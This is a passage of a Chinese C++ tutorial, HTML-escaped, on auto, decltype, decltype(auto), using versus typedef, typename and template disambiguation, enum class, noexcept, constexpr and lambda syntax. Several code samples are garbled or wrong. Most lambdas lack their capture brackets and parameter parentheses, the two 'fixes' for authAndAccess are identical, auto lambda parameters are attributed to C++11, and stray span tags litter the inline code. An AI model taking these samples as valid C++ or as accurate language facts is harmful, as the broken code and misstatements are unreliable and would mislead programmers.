&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; 应该避免这样做
std::initializer_list&amp;lt;int&amp;gt; func() {
    return {1, 2, 3};
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;lambdabiao-da-shi-tui-dao&quot;&gt;Lambda表达式推导&lt;&#x2F;h2&gt;
&lt;p&gt;在C++11中，Lambda表达式的参数需要具体的类型声明&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto MyLambda = int a, int b { return a + b; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;auto&lt;&#x2F;code&gt;用于Lambda表达式时，同样代表&lt;strong&gt;遵循模板类型推导&lt;&#x2F;strong&gt;的原则，例如C++11中可以将其用于匿名函数参数的推导&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; 使用auto接住匿名函数，匿名函数使用auto进行参数推导，匿名函数的返回值使用auto推导
auto MyLambda = auto a, auto b { return a + b; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于它也是遵循模板类型推导的原则，因此对于大括号初始物而言，参数还是返回值都无法正确的将其推导出来&lt;&#x2F;p&gt;
&lt;h2 id=&quot;range-base-loop-with-auto&quot;&gt;Range-base-loop with auto&lt;&#x2F;h2&gt;
&lt;p&gt;参考自知乎-蓝色-range-base-loop中使用auto&lt;&#x2F;p&gt;
&lt;p&gt;总结：&lt;&#x2F;p&gt;
&lt;p&gt;•当你想要拷贝range的元素时，使用&lt;code&gt;for(auto x : range)&lt;&#x2F;code&gt;•当你想要修改range的元素时，使用&lt;code&gt;for(auto&amp;amp;&amp;amp; x : range)&lt;&#x2F;code&gt;•当你想要只读range的元素时，使用&lt;code&gt;for(const auto&amp;amp; x : range)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;template&quot;&gt;template&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;int data&amp;gt;
template&amp;lt;double data&amp;gt;
&amp;#x2F;&amp;#x2F; ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于非模板类型参数而言，使用&lt;code&gt;auto&lt;&#x2F;code&gt;进行自动推断会方便很多&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;auto param&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;autoshi-ke-xuan-xiang-er-bu-shi-bi-xuan-xiang&quot;&gt;auto是可选项而不是必选项&lt;&#x2F;h2&gt;
&lt;p&gt;•对于部分情景而言，使用&lt;code&gt;auto&lt;&#x2F;code&gt;能够避免不少低级错误，如Effective Modern C++中提到的&lt;code&gt;std::vector&amp;lt;int&amp;gt;::size_type&lt;&#x2F;code&gt;和&lt;code&gt;std::unordered_map&lt;&#x2F;code&gt;中的键值对例如&lt;code&gt;std::pair&amp;lt;const std::string, int&amp;gt;&lt;&#x2F;code&gt;•但是过量使用&lt;code&gt;auto&lt;&#x2F;code&gt;会导致代码的可读性降低；同时由于是编译器自动推导，各种类型忽略问题以及转换问题我们都需要重视以&lt;code&gt;std::vector&amp;lt;bool&amp;gt;&lt;&#x2F;code&gt;为例，&lt;code&gt;std::vector&amp;lt;bool&amp;gt;&lt;&#x2F;code&gt;是&lt;code&gt;std::vector&amp;lt;bool&amp;gt;&lt;&#x2F;code&gt;的一个特化版本，容器中的&lt;code&gt;bool&lt;&#x2F;code&gt;值是1bit1bit存储的。与STL中的其他容器不同，&lt;code&gt;std::vector&amp;lt;bool&amp;gt;::operator[]&lt;&#x2F;code&gt;返回的不是&lt;code&gt;bool&amp;amp;&lt;&#x2F;code&gt;，而是返回&lt;code&gt;std::vector&amp;lt;bool&amp;gt;::reference&lt;&#x2F;code&gt;，这个&lt;code&gt;reference&lt;&#x2F;code&gt;能够转换为&lt;code&gt;bool&lt;&#x2F;code&gt;类型的值&lt;code&gt;std::vector&amp;lt;&amp;lt;span&amp;gt;bool&amp;lt;&#x2F;span&amp;gt;&amp;gt; result = {&amp;lt;span&amp;gt;true&amp;lt;&#x2F;span&amp;gt;, &amp;lt;span&amp;gt;false&amp;lt;&#x2F;span&amp;gt;, &amp;lt;span&amp;gt;true&amp;lt;&#x2F;span&amp;gt;}; &amp;lt;span&amp;gt;bool&amp;lt;&#x2F;span&amp;gt; value1 = result[&amp;lt;span&amp;gt;0&amp;lt;&#x2F;span&amp;gt;]; &amp;lt;span&amp;gt;&#x2F;&#x2F; 此时value2被推导为std::vector&amp;lt;bool&amp;gt;::reference，而不是bool &amp;lt;&#x2F;span&amp;gt;&amp;lt;span&amp;gt;auto&amp;lt;&#x2F;span&amp;gt; value2 = result[&amp;lt;span&amp;gt;1&amp;lt;&#x2F;span&amp;gt;];&lt;&#x2F;code&gt;我们能对其做出强转来修复这个问题&lt;code&gt;&amp;lt;span&amp;gt;auto&amp;lt;&#x2F;span&amp;gt; value3 = &amp;lt;span&amp;gt;static_cast&amp;lt;&#x2F;span&amp;gt;&amp;lt;&amp;lt;span&amp;gt;bool&amp;lt;&#x2F;span&amp;gt;&amp;gt;(result[&amp;lt;span&amp;gt;2&amp;lt;&#x2F;span&amp;gt;]);&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;[c++中为什么不提倡使用vector？]&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;decltype&quot;&gt;decltype&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;auto&lt;&#x2F;code&gt;与&lt;code&gt;decltype&lt;&#x2F;code&gt;都是C++11引入的类型推导。&lt;code&gt;decltype&lt;&#x2F;code&gt;能够从表达式中推断出要定义的变量类型&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;decltype(a + b) i; &amp;#x2F;&amp;#x2F;假设a是int而b是double，那么i的类型就是表达式(a + b)的类型，即double
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;•当&lt;code&gt;decltype&lt;&#x2F;code&gt;处理变量时，它与&lt;code&gt;auto&lt;&#x2F;code&gt;不同，并不会去忽略掉顶层&lt;code&gt;const&lt;&#x2F;code&gt;，原变量是啥它就是啥•当&lt;code&gt;decltype&lt;&#x2F;code&gt;处理函数时，它只是获取函数的返回值类型，并不会去调用函数•当&lt;code&gt;decltype&lt;&#x2F;code&gt;处理表达式时，假设类型为T&lt;code&gt;std::string name = &quot;Mikasa&quot;;std::string&amp;amp; nr = name, *np = &amp;amp;name;decltype(name) d0;    &#x2F;&#x2F; string&#x2F;&#x2F; 任何在name之上叠加符号的左值表达式都将被推断为引用类型decltype((name)) d1;    &#x2F;&#x2F; string&amp;amp;，ERROR，未初始化的引用decltype(*(&amp;amp;name)) d2;    &#x2F;&#x2F; string&amp;amp;，ERROR，未初始化的引用&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;decltype(std::move(name)) d3;    &#x2F;&#x2F; string&amp;amp;&amp;amp;，ERROR，未初始化的引用decltype(*np) d4;    &#x2F;&#x2F; string&amp;amp;，ERROR，未初始化的引用decltype(nr + 0) d5;    &#x2F;&#x2F; string&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;•若表达式的值类型为纯右值，则推导出&lt;code&gt;T&lt;&#x2F;code&gt;•若表达式的值类型为左值：若表达式只是变量名，则推导出&lt;code&gt;T&lt;&#x2F;code&gt;；其他情况推导出&lt;code&gt;T&amp;amp;&lt;&#x2F;code&gt;•若表达式的值类型为将亡值，则推导出&lt;code&gt;T&amp;amp;&amp;amp;&lt;&#x2F;code&gt;•当&lt;code&gt;decltype&lt;&#x2F;code&gt;处理Lambda表达式时&lt;code&gt;auto f = int a, int b { return a + b; }; &#x2F;&#x2F; decltype(f) g = int a, int b { return a * b; }; &#x2F;&#x2F; ERROR decltype(f) g = f; &#x2F;&#x2F; OK&lt;&#x2F;code&gt;即使是完全相同的返回值和函数参数类型，但是编译器仍然会报错，因为每一个Lambda类型都是独有且无名的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;decltype-auto&quot;&gt;decltype(auto)&lt;&#x2F;h2&gt;
&lt;p&gt;上文中提到auto作为返回值时将采用模板类型推导的规则，正因为如此它可能会遗失一些我们需要的类型（如引用或常量性），这个时候就需要使用&lt;code&gt;decltype(auto)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename Container, typename Index&amp;gt;
auto authAndAccess(Container&amp;amp; c, Index i)
{
    authenticateUser();
    return c[i];
}std::deque&amp;lt;int&amp;gt; d;
&amp;#x2F;&amp;#x2F; ...
authAndAccess(d, 5) = 10;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;std::deque&amp;lt;int&amp;gt;::operator[]&lt;&#x2F;code&gt;的重载将会返回&lt;code&gt;int&amp;amp;&lt;&#x2F;code&gt;，但是由于使用模板类型推导，返回值的类型将会是&lt;code&gt;int&lt;&#x2F;code&gt;，而在C++中对右值进行赋值是非法的，因此会编译失败。对此能有两种做法&lt;&#x2F;p&gt;
&lt;p&gt;•&lt;code&gt;&amp;lt;span&amp;gt;&amp;lt;span&amp;gt;template&amp;lt;&#x2F;span&amp;gt;&amp;lt;&amp;lt;span&amp;gt;typename&amp;lt;&#x2F;span&amp;gt; Container, &amp;lt;span&amp;gt;typename&amp;lt;&#x2F;span&amp;gt; Index&amp;gt;&amp;lt;span&amp;gt;auto&amp;lt;&#x2F;span&amp;gt;&amp;amp; authAndAccess(Container&amp;amp; c, Index i)&amp;lt;&#x2F;span&amp;gt;;&lt;&#x2F;code&gt;•&lt;code&gt;&amp;lt;span&amp;gt;&amp;lt;span&amp;gt;template&amp;lt;&#x2F;span&amp;gt;&amp;lt;&amp;lt;span&amp;gt;typename&amp;lt;&#x2F;span&amp;gt; Container, &amp;lt;span&amp;gt;typename&amp;lt;&#x2F;span&amp;gt; Index&amp;gt;&amp;lt;span&amp;gt;auto&amp;lt;&#x2F;span&amp;gt;&amp;amp; authAndAccess(Container&amp;amp; c, Index i)&amp;lt;&#x2F;span&amp;gt;;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;typedefhe-using&quot;&gt;typedef和using&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;using&lt;&#x2F;code&gt;是C++11加入的，它叫做_alias declaration_（别名声明）。在拓展&lt;code&gt;typedef&lt;&#x2F;code&gt;的同时也让C++的C++味儿更浓了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;typedef int Status;
using Status = int;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;回归主题，在一些十分复杂的名称面前，我们会选择取别名，比如&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;typedef std::vector&amp;lt;std::pair&amp;lt;std::string, std::function&amp;lt;void(int)&amp;gt;&amp;gt;&amp;gt; Selection;
using Selection = std::vector&amp;lt;std::pair&amp;lt;std::string, std::function&amp;lt;void(int)&amp;gt;&amp;gt;&amp;gt;;    &amp;#x2F;&amp;#x2F;两种方法等效
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用&lt;code&gt;using&lt;&#x2F;code&gt;会令代码的可读性更高一些，以函数指针为例&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; 令MyFunc为void(*)(int, int)类型
typedef void(*MyFunc)(int, int);
using MyFunc = void(*)(int, int);
&amp;#x2F;&amp;#x2F; 成员函数指针
using MyClassFunc = void(MyClass::*)(double, std::string)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除此之外，&lt;code&gt;using&lt;&#x2F;code&gt;能更方便的为模板取别名（alias templates），这是&lt;code&gt;typedef&lt;&#x2F;code&gt;无法轻易做到的&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename U&amp;gt;
class MyAlloc {};template&amp;lt;typename T, typename U&amp;gt;
class MyVector {
    T data;
    U alloc;
};template&amp;lt;typename T&amp;gt;
using vec = MyVector&amp;lt;T, MyAlloc&amp;lt;T&amp;gt;&amp;gt;;vec&amp;lt;int&amp;gt; v;            &amp;#x2F;&amp;#x2F; 等效于MyVector&amp;lt;int, MyAlloc&amp;lt;int&amp;gt;&amp;gt; v;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除此之外，using还可用于解决由于&lt;code&gt;private&lt;&#x2F;code&gt;或&lt;code&gt;protected&lt;&#x2F;code&gt;继承导致子类的对象无法访问父类中成员的问题&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class Base
{
public:
    int data;
    void UseData() {}
    void HandleData() {}
};class Derived : private Base
{    };Derived d; &amp;#x2F;&amp;#x2F; 无法访问Base中的对象
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是在子类中添加了对父类对象的using后&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class Derived : private Base
{
&amp;#x2F;&amp;#x2F; 一定需要是public属性
public:
    using Base::data;
    using Base::UseData;
};auto d = Derived().data;
Derived().UseData();
&amp;#x2F;&amp;#x2F; 无法调用到HandleData
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;typename&quot;&gt;typename&lt;&#x2F;h2&gt;
&lt;p&gt;对于刚学习C++不久的人来说，最常见的&lt;code&gt;typename&lt;&#x2F;code&gt;的使用场所就是模板了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
template&amp;lt;class T&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上例中&lt;code&gt;typename&lt;&#x2F;code&gt;与&lt;code&gt;class&lt;&#x2F;code&gt;并无任何差别。初学者选择&lt;code&gt;typename&lt;&#x2F;code&gt;可能会对模板有更好的了解（毕竟若模板传进来的是&lt;code&gt;int&lt;&#x2F;code&gt;，它是内置类型，看起来不是一个&lt;code&gt;class&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;进入正题，使用&lt;code&gt;typename&lt;&#x2F;code&gt;可以明确的告诉编译器，后面跟着的这个名字是类中的类型成员，而不是数据成员（例如静态成员变量）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class Foo {
public:
    typedef int FooType;
    int f = 10;
};
class Bar {
public:
    static int b;
};
int Bar::b = 10;template&amp;lt;typename Param, typename Value&amp;gt;
class MyClass {
public:
    Foo::FooType mycData1 = 10;                &amp;#x2F;&amp;#x2F; 直接使用Foo中的类型
    typename Param::FooType mycData2 = 10;    &amp;#x2F;&amp;#x2F; 需加typename以指明这是一种类型
private:
    int mycData3 = Value::b;            &amp;#x2F;&amp;#x2F; 直接使用Bar中的成员
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里贴一个简单的类型萃取的函数&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
class MyClass {
public:
    using value_type = T;
};
template&amp;lt;typename T&amp;gt;
void MyFunc(const T&amp;amp; t)
{
    typename T::value_type data;    &amp;#x2F;&amp;#x2F; 定义一个类型与参数的模板参数相同的变量data
    std::cout &amp;lt;&amp;lt; typeid(data).name() &amp;lt;&amp;lt; std::endl;
}
int main()
{
    MyClass&amp;lt;int&amp;gt; myc;
    MyFunc(myc);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;typedefyu-typename&quot;&gt;typedef与typename&lt;&#x2F;h2&gt;
&lt;p&gt;给模板类&lt;code&gt;__type_traits&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;中的&lt;code&gt;has_trivial_destructor&lt;&#x2F;code&gt;类型取别名，叫做&lt;code&gt;trivial_destructor&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;typedef typename __type_traits&amp;lt;T&amp;gt;::has_trivial_destructor trivial_destructor;
using trivial_destructo = typename __type_traits&amp;lt;T&amp;gt;::has_trivial_destructor;    &amp;#x2F;&amp;#x2F; C++11的写法
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;给模板类&lt;code&gt;Registration&amp;lt;PointSource, PointTarget&amp;gt;&lt;&#x2F;code&gt;中的&lt;code&gt;PointCloudSource&lt;&#x2F;code&gt;类型取别名，叫做&lt;code&gt;PointCloudSource&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;typedef typename Registration&amp;lt;PointSource, PointTarget&amp;gt;::PointCloudSource PointCloudSource; using PointCloudSource = typename Registration&amp;lt;PointSource, PointTarget&amp;gt;::PointCloudSource; &amp;#x2F;&amp;#x2F; C++11
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;templatexiao-qi-yi-fu&quot;&gt;template消歧义符&lt;&#x2F;h2&gt;
&lt;p&gt;与&lt;code&gt;typename&lt;&#x2F;code&gt;类似，&lt;code&gt;template&lt;&#x2F;code&gt;修饰代表告诉编译器它后面的东西是模板类或模板函数&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class Array {
public:
    template &amp;lt;typename T&amp;gt;
    struct InArray { typedef T ElemT; };
};template &amp;lt;typename T&amp;gt;
void Foo(const T&amp;amp; arr) {
    &amp;#x2F;&amp;#x2F; typename T::InArray&amp;lt;int&amp;gt;::ElemT num;            &amp;#x2F;&amp;#x2F; 编译时报错，详见下图
    typename T::template InArray&amp;lt;int&amp;gt;::ElemT num;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;知乎-C++ 为什么有时候必须额外写 template？&lt;&#x2F;p&gt;
&lt;p&gt;作者：廖统浪
链接：https:&#x2F;&#x2F;www.zhihu.com&#x2F;question&#x2F;37990298&#x2F;answer&#x2F;78820977
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。&lt;&#x2F;p&gt;
&lt;p&gt;template是用来消除歧义的. 观察下面的代码:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;template\&amp;lt;class T&amp;gt;
 int f(T&amp;amp; x) {
     return x.template convert&amp;lt;3&amp;gt;(pi);
 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果没有template, 则&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;return x.convert&amp;lt;3&amp;gt;(pi);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可能被理解为&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;return ((x.convert) &amp;lt; 3) &amp;gt; (pi);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以使用template来说明convert不是一个数据成员, 而是一个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E6%A8%A1%E6%9D%BF%E5%87%BD%E6%95%B0&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A78820977%7D&quot;&gt;模板函数&lt;&#x2F;a&gt;. 下面把标准照抄一遍.&lt;&#x2F;p&gt;
&lt;p&gt;**使用 template 的规则 **&lt;&#x2F;p&gt;
&lt;p&gt;当成员&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E6%A8%A1%E6%9D%BF%E7%89%B9%E5%8C%96&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A78820977%7D&quot;&gt;模板特化&lt;&#x2F;a&gt;的名字出现在一个后缀表达式中的.或-&amp;gt;之后, 或者出现一个限定标识中的嵌套的名字&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E4%BF%AE%E9%A5%B0%E7%AC%A6&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A78820977%7D&quot;&gt;修饰符&lt;&#x2F;a&gt;之后, 并且&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E5%90%8E%E7%BC%80%E8%A1%A8%E8%BE%BE%E5%BC%8F&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A78820977%7D&quot;&gt;后缀表达式&lt;&#x2F;a&gt;或限定标识显示依赖于一个模板参数时, 成员模板名字必须加template关键字作为前缀, 否则该名字就被假定为一个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E9%9D%9E%E6%A8%A1%E6%9D%BF&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A78820977%7D&quot;&gt;非模板&lt;&#x2F;a&gt;的名字.&lt;&#x2F;p&gt;
&lt;p&gt;如果后缀表达式或者限定标识不是出现在一个模板的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E4%BD%9C%E7%94%A8%E5%9F%9F&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A78820977%7D&quot;&gt;作用域&lt;&#x2F;a&gt;时, 成员模板的名字就不应该加上template关键字作为前缀.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;必须使用template的场合&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在通过“.”,“-&amp;gt;”,“::”限定的依赖名访问成员模板之前, template关键字必不可少.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;template\&amp;lt;class T&amp;gt;
 void f(T&amp;amp; x, T&amp;amp; y) {
     int n = x.template convert\&amp;lt;int&amp;gt;();
     int m = y-&amp;gt;template convert\&amp;lt;int&amp;gt;();
 }

 template\&amp;lt;class T&amp;gt; struct other;
 template\&amp;lt;class T&amp;gt;
 struct dirived : other &amp;lt;T&amp;gt;::template base\&amp;lt;int&amp;gt; {};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;**禁止使用template的场合 **&lt;&#x2F;p&gt;
&lt;p&gt;禁止用在模板之外的任何地方, 包括显式(完全)模板特化. 禁止用在using声明中.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;enum-class&quot;&gt;enum class&lt;&#x2F;h2&gt;
&lt;p&gt;普通的枚举类型是不限定作用域的，即在同一个namespace中，是不能出现重名的，且能够被隐式转换为&lt;code&gt;int&lt;&#x2F;code&gt;等类型的值&lt;&#x2F;p&gt;
&lt;p&gt;；强枚举类型(&lt;code&gt;enum class&lt;&#x2F;code&gt;)的枚举类型是唯一的，但仍可以显示强转为&lt;code&gt;int&lt;&#x2F;code&gt;，&lt;code&gt;unsigned int&lt;&#x2F;code&gt;等类型&lt;&#x2F;p&gt;
&lt;p&gt;强枚举类型默认底层是&lt;code&gt;int&lt;&#x2F;code&gt;，但是也可以自行指定&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; 该枚举的大小是8字节
enum class TestEnum : int64_t {
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以通过&lt;code&gt;std::underlying_type&lt;&#x2F;code&gt;来获取强枚举的底层类型。因为&lt;code&gt;UserInfoFields&lt;&#x2F;code&gt;底层是&lt;code&gt;std::size_t&lt;&#x2F;code&gt;，所以这个模板函数将会返回&lt;code&gt;std::size_t&lt;&#x2F;code&gt;类型的值&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;enum class UserInfoFields : std::size_t { uiName, uiEmail, uiReputation };template&amp;lt;typename E&amp;gt;
constexpr auto toUType(E enumerator) noexcept {
    return static_cast&amp;lt;std::underlying_type_t&amp;lt;E&amp;gt;&amp;gt;(enumerator);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;noexcept&quot;&gt;noexcept&lt;&#x2F;h2&gt;
&lt;p&gt;•大多数函数都是异常中立的，此类函数自身并不会抛出异常，但是它们调用的函数可能会抛出异常。异常中立函数永远不具备&lt;code&gt;noexcept&lt;&#x2F;code&gt;的性质•noexcept性质对于移动操作，swap，内存释放函数和析构函数最有价值&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;C++11的noexcept标识符与操作符应如何正确使用？&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;constexpr&quot;&gt;constexpr&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;constexpr&lt;&#x2F;code&gt;代表编译期常量，它所标识的值可能被放入到只读内存段中，如数组，非类型模板参数，枚举类型等要求的都是编译期常量，&lt;code&gt;const&lt;&#x2F;code&gt;代表运行期常量。所有&lt;code&gt;constexpr&lt;&#x2F;code&gt;对象都是&lt;code&gt;const&lt;&#x2F;code&gt;对象，但并非所有的&lt;code&gt;const&lt;&#x2F;code&gt;对象都是&lt;code&gt;constexpr&lt;&#x2F;code&gt;对象&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; 都要求编译期常量
int arr[10];
std::array&amp;lt;int, 5&amp;gt; arr;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;constexpr&lt;&#x2F;code&gt;的泛用性在每代C++中都得到了提高&lt;&#x2F;p&gt;
&lt;p&gt;在C++11中，&lt;code&gt;constexpr&lt;&#x2F;code&gt;可以用来修饰对象（包括内置类型和自定义类型），以及可以用来修饰函数（构造函数，成员函数，普通函数等等），如果以&lt;code&gt;constexpr&lt;&#x2F;code&gt;修饰构造函数，那么代表构造出来的对象可以是一个编译期常量&lt;&#x2F;p&gt;
&lt;p&gt;以修饰函数为例，函数是否的返回值是否满足&lt;code&gt;constexpr&lt;&#x2F;code&gt;取决于两个方面&lt;&#x2F;p&gt;
&lt;p&gt;•传入的参数是否是编译期常量•函数体内的计算是否是编译期能够处理的&lt;&#x2F;p&gt;
&lt;p&gt;当两者条件都能满足时，它的结果就是&lt;code&gt;constexpr&lt;&#x2F;code&gt;的，否则它的运作方式和普通函数无异（编译器不对&lt;code&gt;constexpr&lt;&#x2F;code&gt;做处理）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;constexpr int pow(int base, int exp) noexcept {
    return (exp == 0 ? 1 : base * pow(base, exp - 1));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在C++14中，对&lt;code&gt;constexpr&lt;&#x2F;code&gt;修饰的函数做了进一步的拓展，C++14中的&lt;code&gt;constexpr&lt;&#x2F;code&gt;函数不再是只能单纯的包含一条&lt;code&gt;return&lt;&#x2F;code&gt;语句了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;constexpr int pow(int base, int exp) noexcept {
    int result = 1;
    for (int i = 0; i &amp;lt; exp; i++)
        result *= base;
    return result;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而且在C++14中，&lt;code&gt;constexpr&lt;&#x2F;code&gt;也能用于修饰&lt;code&gt;setter&lt;&#x2F;code&gt;函数&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;public:
    constexpr void setX(double newX) noexcept {
        x = newX;
  }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在C++17中，新增了&lt;code&gt;constexpr&lt;&#x2F;code&gt;的用途，可以用在_if-else_语句中，称作_if-constexpr_，常用于模板元编程中。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lambdabiao-da-shi&quot;&gt;Lambda表达式&lt;&#x2F;h2&gt;
&lt;p&gt;Lambda表达式其实是块语法糖，其结构如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[函数对象参数](函数参数列表) mutable throw(类型)-&amp;gt;返回值类型 { 函数语句 };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
